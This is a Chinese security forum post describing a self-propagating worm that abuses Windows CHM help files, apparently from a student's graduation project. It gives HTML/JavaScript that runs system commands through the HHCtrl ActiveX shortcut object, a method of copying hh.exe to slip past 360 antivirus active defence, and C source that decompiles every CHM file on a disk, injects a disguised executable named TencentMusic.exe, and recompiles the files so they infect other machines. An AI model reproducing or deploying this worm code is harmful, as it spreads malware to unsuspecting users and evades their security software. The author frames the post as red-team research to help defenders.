首页
社区
课程
招聘
[原创]利用chm文件实现病毒程序的蠕虫式横向传播
2021-5-30 23:31 9157

[原创]利用chm文件实现病毒程序的蠕虫式横向传播

2021-5-30 23:31
9157

1.引言

    这个项目属于我毕设中的一个模块,在19年时看到红队利用chm作为钓鱼文件进行入侵,在对他的手法进行复现后,发现并不能绕过360的主动防御,于是我对其中的主要js代码进行改进使其可以绕过主动防御,并在此基础上,对chm文件的文件结构与编译过程进行了研究,于是便有了此项目,使用此项目,可以在对方打开被感染的chm文件时,感染对方电脑中的所有chm文件,被感染的chm文件复制到其他电脑打开时,又会进行新一轮的攻击。最近又进行了一次测试,发现原本的攻击手法已经不能绕过360主动防御了,大家可以在此基础上继续寻找绕过的方法。该项目旨在研究红队的攻击手法,以便蓝队更好的进行防御。

2.需求分析与初步设计

  2.1 执行js代码,调用系统命令
    可以通过在主页html中添加js的方式实现
  2.2 释放恶意代码文件
    通过在编译时,对chm添加恶意程序,调用系统命令hh -decompile将程序释放到指定路径来实现
  2.3 感染其他chm文件
    通过释放微软提供的chm编译工具hhc.exe到磁盘中,根据反编译文件的内容,创建chm的编译环境配置文件,并在主页中插入js

3.具体实现

  3.1 在html中执行js调用系统命令

1
2
3
4
5
6
7
8
9
<div id="t0">
</div>
<OBJECT id=demo classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',calc.exe'>
</OBJECT>
demo.Click();
</SCRIPT>

通过以上方式,在Item1的value中添加需要执行的命令即可

 

  3.2 释放恶意代码文件
在3.1的基础上编写以下的js代码,即可将恶意程序释放并调用,直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<div id="t0">
</div>
<OBJECT id=copy classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',xcopy,C:\Windows\SysWOW64\hh.exe /N C:\Users\Public\Dow
</OBJECT>
<OBJECT id=call classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value = ',path'>
</OBJECT>
<SCRIPT>
var str=location.href;
var commodStr0 =
'<OBJECT id=decompile classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
'<PARAM name="Command" value="ShortCut0">' +
'<PARAM name="Button" value="Bitmap::shortcut0">' +
'<PARAM name="Item1" value=",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,-decompile
'</OBJECT>';
var sleep = function(time) {
    var startTime = new Date().getTime() + parseInt(time, 10);
    while (new Date().getTime() < startTime) {}
};
copy.Click();
sleep(100);
document.getElementById('t0').innerHTML = commodStr0;
decompile.Click();
sleep(100);
call.Click();
</SCRIPT>

    其中调用xcopy拷贝hh.exe到Public目录,是因为在19年时,360对system目录路径下的hh.exe的调用做了主动防御,但并未对该目录下的xcopy.exe做主动防御,因此调用xcopy将hh.exe拷贝到其他目录下,即可绕过,但是现在经测试已经无效,不知道是对xcopy做了主动防御还是对整个system路径都做了主动防御,感兴趣的可以试一下。

 

  3.3 感染其他chm文件
    话不多说,直接上代码,首先需要将微软提供的chm编译工具释放到磁盘中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int InitEnv() {
    char szHhcPath[MAX_PATH];
    char szHhaPath[MAX_PATH];
    GetTempPath(MAX_PATH, szTempPath);
    strcpy(szHhcPath, szTempPath);
    strcat(szHhcPath, "hhc.exe");
    strcpy(szHhaPath, szTempPath);
    strcat(szHhaPath, "hha.dll");
    if (ReleaseRes(IDR_BIN2, szHhcPath)
        && ReleaseRes(IDR_BIN3, szHhaPath)) {
        return TRUE;
    }
    return FALSE;
}

     在编译磁盘遇到chm文件时,需要先对其进行反编译,对反编译出的文件中的hhk文件添加需要捆绑的文件信息,在hhc文件中寻找主页文件路径,并对主页文件添加js,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
void InsertCode(char* szChmPath, char* szOutDir) {
    // 遍历目录
    char szFindPath[MAX_PATH] = { 0 };
    char szHhcPath[MAX_PATH] = { 0 };
    char szHhkPath[MAX_PATH] = { 0 };
    // 临时文件路径
    char szTmpPath[MAX_PATH] = { 0 };
    // 一行文本数据
    char szLine[MAX_PATH] = { 0 };
    // 首页文件的绝对路径
    char szFirstPath[MAX_PATH] = { 0 };
    // 临时文件
    FILE* pTmp;
    // 是否已插入数据
    int bInsert = FALSE;
    //ReleaseRes()
    strcat(szFindPath, (char*)szOutDir);
    strcat(szFindPath, "\\*");
    WIN32_FIND_DATA wfd = { 0 };
    HANDLE hFile = FindFirstFileA(szFindPath, &wfd);
    if (hFile != INVALID_HANDLE_VALUE) {
        do {
            if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
                continue;
            }
            char* suffix = strrchr(wfd.cFileName, '.');
            // 在编译内容文件HHK中新增捆绑文件
            if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) {
                bInsert = FALSE;
                sprintf(szHhkPath, "%s\\%s", szOutDir, wfd.cFileName);
                sprintf(szTmpPath, "%s\\%s", szOutDir, "tmp.hhk");
                FILE* pHhc = fopen(szHhkPath, "r+");
                FILE* pTmp = fopen(szTmpPath, "w");
                while (fgets(szLine, MAX_PATH, pHhc)) {
                    // 在第一次出现"<LI> <OBJECT type="的上一行插入数据
                    if (strstr(szLine, "<LI> <OBJECT type=") && !bInsert) {
                        fputs(szInsertHhk, pTmp);
                        bInsert = TRUE;
                    }
                    fputs(szLine, pTmp);
                }
                fclose(pTmp);
                fclose(pHhc);
                // 用tmp.hhk替换原本的hhk
                CopyFile(szTmpPath, szHhkPath, FALSE);
                DeleteFile(szTmpPath);
            }
            // 在目录文件HHC中获取首页文件并插入代码
            if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) {
                sprintf(szHhcPath, "%s\\%s", szOutDir, wfd.cFileName);
                FILE* pHhc = fopen(szHhcPath, "r");
                strcpy(szFirstPath, szOutDir);
                strcat(szFirstPath, "\\");
                while (fgets(szLine, MAX_PATH, pHhc)) {
                    // 第一次出现"<param name="Local" value="处为首页文件
                    if (strstr(szLine, "<param name=\"Local\" value=")) {
                        int dwLineLen = strlen(szLine);
                        int dwIndex = strlen("\t\t<param name=\"Local\" value=\"");
                        // 去除前缀和后面的" ">\n "
                        strncat(szFirstPath, szLine + dwIndex, dwLineLen - dwIndex - 3);
                        StrReplace(szFirstPath, "/", "\\");
                        break;
                    }
                }
                fclose(pHhc);
                bInsert = FALSE;
                memset(szTmpPath, 0, sizeof(szTmpPath));
                strcpy(szTmpPath, szOutDir);
                strcat(szTmpPath, "\\tmp.html");
                pTmp = fopen(szTmpPath, "w");
                FILE* pFirstFile = fopen(szFirstPath, "r");
                while (fgets(szLine, MAX_PATH, pFirstFile)) {
                    // 在第一次出现"<html>"的下一行插入数据
                    fputs(szLine, pTmp);
                    if (strstr(szLine, "<html>") && !bInsert) {
                        // 添加 TencentMusic.exe
                        fputs(szFirstPage, pTmp);
                        bInsert = TRUE;
                    }
                }
                fclose(pFirstFile);
                fclose(pTmp);
                // 用tmp.hhk替换原本的hhk
                CopyFile(szTmpPath, szFirstPath, FALSE);
                DeleteFile(szTmpPath);
            }
        } while (FindNextFileA(hFile, &wfd));
    }
    FindClose(hFile);
}

    其中对hhk插入的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char szInsertHhk[1024] =
    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \
    "\t\t<param name=\"Name\" value=\"TencentMusic\">\n"    \
    "\t\t<param name=\"Local\" value=\"TencentMusic.exe\">\n"    \
    "\t\t</OBJECT>\n"    \
    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \
    "\t\t<param name=\"Name\" value=\"qqmusic\">\n"    \
    "\t\t<param name=\"Local\" value=\"qqmusic.dll\">\n"    \
    "\t\t</OBJECT>\n"    \
    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \
    "\t\t<param name=\"Name\" value=\"msvcp100\">\n"    \
    "\t\t<param name=\"Local\" value=\"msvcp100.dll\">\n"    \
    "\t\t</OBJECT>\n"    \
    "\t<LI> <OBJECT type=\"text/sitemap\">\n"    \
    "\t\t<param name=\"Name\" value=\"msvcr100\">\n"    \
    "\t\t<param name=\"Local\" value=\"msvcr100.dll\">\n"    \
    "\t\t</OBJECT>\n";

    对主页文件添加的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
char szFirstPage[2048] =
    "<div id=\"t0\">\n"    \
    "</div>\n"    \
    "<OBJECT id=copy classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n"    \
    "<PARAM name=\"Command\"value=\"ShortCut\">\n"    \
    "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n"    \
    "<PARAM name=\"Item1\"value=',xcopy,C:\\Windows\\SysWOW64\\hh.exe /N C:\\Users
    "</OBJECT>\n"    \
    "<OBJECT id=call classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n"    \
    "<PARAM name=\"Command\"value=\"ShortCut\">\n"    \
    "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n"    \
    "<PARAM name=\"Item1\"value = ',C:\\Users\\Public\\Downloads\\Temp\\TencentMus
    "</OBJECT>\n"    \
    "<SCRIPT>\n"    \
    "var str=location.href;\n"    \
    "var commodStr0 =\n"    \
    "'<OBJECT id=decompile classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\"
    "'<PARAM name=\"Command\" value=\"ShortCut0\">' +\n"    \
    "'<PARAM name=\"Button\" value=\"Bitmap::shortcut0\">' +\n"    \
    "'<PARAM name=\"Item1\" value=\",C:\\\\Users\\\\Public\\\\Downloads\\\\Temp\\\
    "'</OBJECT>';\n"    \
    "var sleep = function(time) {\n"    \
    "    var startTime = new Date().getTime() + parseInt(time, 10);\n"    \
    "    while (new Date().getTime() < startTime) {}\n"    \
    "};\n"    \
    "copy.Click();\n"    \
    "sleep(100);\n"    \
    "document.getElementById('t0').innerHTML = commodStr0;\n"    \
    "decompile.Click();\n"    \
    "sleep(100);\n"    \
    "call.Click();\n"    \
    "</SCRIPT>\n";

    对hhc程序进行分析后可以发现,chm的编译依赖于一个hhp的配置文件,文件的主要内容如下:
图片描述
    创建hpp文件时,需要遍历反编译目录寻找hhc文件和hhk文件,将两个文件的路径分别赋值给Index file和Contents file,Combiled file和Title字段区赋值为chm文件名称,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
void ChmCompile(char* szChmPath, char* szOutDir) {
    char szFindPath[MAX_PATH] = { 0 };
    char szHhpPath[MAX_PATH] = { 0 };
    char szChmName[MAX_PATH] = { 0 };
    char szHhkName[MAX_PATH] = { 0 };
    char szHhcName[MAX_PATH] = { 0 };
    char szOptions[MAX_PATH] = { 0 };
    char szCompiledFile[MAX_PATH] = { 0 };
    char szContentsFile[MAX_PATH] = { 0 };
    char szIndexFile[MAX_PATH] = { 0 };
    char szTitle[MAX_PATH] = { 0 };
    char szCompileCmd[MAX_PATH] = { 0 };
    char szNewChmPath[MAX_PATH] = { 0 };
    strcat(szFindPath, szOutDir);
    strcat(szFindPath, "\\*");
    WIN32_FIND_DATA wfd = { 0 };
    HANDLE hFile = FindFirstFileA(szFindPath, &wfd);
    if (hFile != INVALID_HANDLE_VALUE) {
        do {
            if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
                continue;
            }
            char* suffix = strrchr(wfd.cFileName, '.');
            if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) {
                strcpy(szHhkName, wfd.cFileName);
            }
            if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) {
                strcpy(szHhcName, wfd.cFileName);
            }
        } while (FindNextFileA(hFile, &wfd));
    }
    FindClose(hFile);
    strcpy(szChmName, strrchr(szOutDir, '\\') + 1);
    strcpy(szHhpPath, szOutDir);
    strcat(szHhpPath, "\\");
    strcat(szHhpPath, szChmName);
    strcat(szHhpPath, ".hhp");
    // 创建hhp文件
    FILE* pHhpFile = fopen(szHhpPath, "wb+");
 
    strcpy(szOptions, "[OPTIONS]\n");
    fwrite(szOptions, 1, strlen(szOptions), pHhpFile);
 
    strcpy(szCompiledFile, "Compiled file=");
    strcat(szCompiledFile, szChmName);
    strcat(szCompiledFile, ".chm\n");
    fwrite(szCompiledFile, 1, strlen(szCompiledFile), pHhpFile);
 
    strcpy(szContentsFile, "Contents file=");
    strcat(szContentsFile, szHhcName);
    strcat(szContentsFile, "\n");
    fwrite(szContentsFile, 1, strlen(szContentsFile), pHhpFile);
 
    strcpy(szIndexFile, "Index file=");
    strcat(szIndexFile, szHhkName);
    strcat(szIndexFile, "\n");
    fwrite(szIndexFile, 1, strlen(szIndexFile), pHhpFile);
 
    strcpy(szTitle, "Title=");
    strcat(szTitle, szChmName);
    strcat(szTitle, "\n");
    fwrite(szTitle, 1, strlen(szTitle), pHhpFile);
 
    fflush(pHhpFile);
    fclose(pHhpFile);
 
    strcpy(szCompileCmd, szTempPath);
    strcat(szCompileCmd, "hhc.exe ");
    strcat(szCompileCmd, szHhpPath);
    // 编译生成修改后的chm
    system(szCompileCmd);
    // 用修改后的chm替换原本的chm
    //DeleteFile(szChmPath);
    strcpy(szNewChmPath, szOutDir);
    strcat(szNewChmPath, "\\");
    strcat(szNewChmPath, szChmName);
    strcat(szNewChmPath, ".chm");
    CopyFile(szNewChmPath, szChmPath, FALSE);
    DeleteDir(szOutDir);
}

    调用释放的hhc.exe进行编译生成新的chm文件,这个新的chm即是被感染的chm。

4.结语

    以上代码只是一个demo,在真实的场景中会遇到hhc和hhk的一些编码问题,想要进一步研究的可以自己解决以下,这里就不写了。最后附上c文件.


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-5-31 00:37 被某警官编辑 ,原因:
上传的附件:
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回